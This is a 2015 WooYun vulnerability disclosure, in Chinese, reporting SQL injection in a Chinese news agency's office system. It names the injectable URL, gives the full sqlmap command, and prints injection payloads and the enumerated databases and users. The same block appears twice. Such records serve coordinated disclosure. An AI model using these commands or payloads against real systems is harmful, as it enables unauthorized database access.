当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125777

漏洞标题:中国互联网新闻中心协同办公系统存在SQL注入2

相关厂商:中国网

漏洞作者: 路人甲

提交时间:2015-07-13 16:38

修复时间:2015-08-31 14:56

公开时间:2015-08-31 14:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-17: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向核心白帽子及相关领域专家公开
2015-08-06: 细节向普通白帽子公开
2015-08-16: 细节向实习白帽子公开
2015-08-31: 细节向公众公开

简要描述:

中国互联网新闻中心协同办公系统存在SQL注入,可以获得大量数据以及权限。

详细说明:

中国互联网新闻中心办公系统,该系统存在SQL注入漏洞。
地址:http://oa.china-online.com.cn
注入地址:http://oa.china-online.com.cn/C6/Jhsoft.Web.login/NewView.aspx?ID=1080

python sqlmap.py -u "http://oa.china-online.com.cn/C6/Jhsoft.Web.login/NewView.aspx?ID=1080" --dbms "mssql" --tamper "space2comment.py" --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=1080 AND 1045=1045
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=1080; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=1080 WAITFOR DELAY '0:0:5'--
---
[21:46:11] [INFO] changes made by tampering scripts are not included in shown payload
[21:46:11] [INFO] testing Microsoft SQL Server
[21:46:11] [INFO] confirming Microsoft SQL Server
[21:46:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:46:11] [INFO] fetching database names
[21:46:11] [INFO] fetching number of databases
[21:46:11] [INFO] resumed: 7
[21:46:11] [INFO] resumed: C6
[21:46:11] [INFO] resumed: master
[21:46:11] [INFO] resumed: model
[21:46:11] [INFO] resumed: msdb
[21:46:11] [INFO] resumed: ReportServer
[21:46:11] [INFO] resumed: ReportServerTempDB
[21:46:11] [INFO] resumed: tempdb
available databases [7]:
[*] C6
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
database management system users [3]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] sa


好了就这些了,不在深入

漏洞证明:

中国互联网新闻中心办公系统,该系统存在SQL注入漏洞。
地址:http://oa.china-online.com.cn
注入地址:http://oa.china-online.com.cn/C6/Jhsoft.Web.login/NewView.aspx?ID=1080

python sqlmap.py -u "http://oa.china-online.com.cn/C6/Jhsoft.Web.login/NewView.aspx?ID=1080" --dbms "mssql" --tamper "space2comment.py" --dbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=1080 AND 1045=1045
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=1080; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=1080 WAITFOR DELAY '0:0:5'--
---
[21:46:11] [INFO] changes made by tampering scripts are not included in shown payload
[21:46:11] [INFO] testing Microsoft SQL Server
[21:46:11] [INFO] confirming Microsoft SQL Server
[21:46:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:46:11] [INFO] fetching database names
[21:46:11] [INFO] fetching number of databases
[21:46:11] [INFO] resumed: 7
[21:46:11] [INFO] resumed: C6
[21:46:11] [INFO] resumed: master
[21:46:11] [INFO] resumed: model
[21:46:11] [INFO] resumed: msdb
[21:46:11] [INFO] resumed: ReportServer
[21:46:11] [INFO] resumed: ReportServerTempDB
[21:46:11] [INFO] resumed: tempdb
available databases [7]:
[*] C6
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
database management system users [3]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] sa


好了就这些了,不在深入

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-07-17 14:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国务院新闻办公室通报,由其后续协调网站管理单位处置。

最新状态:

暂无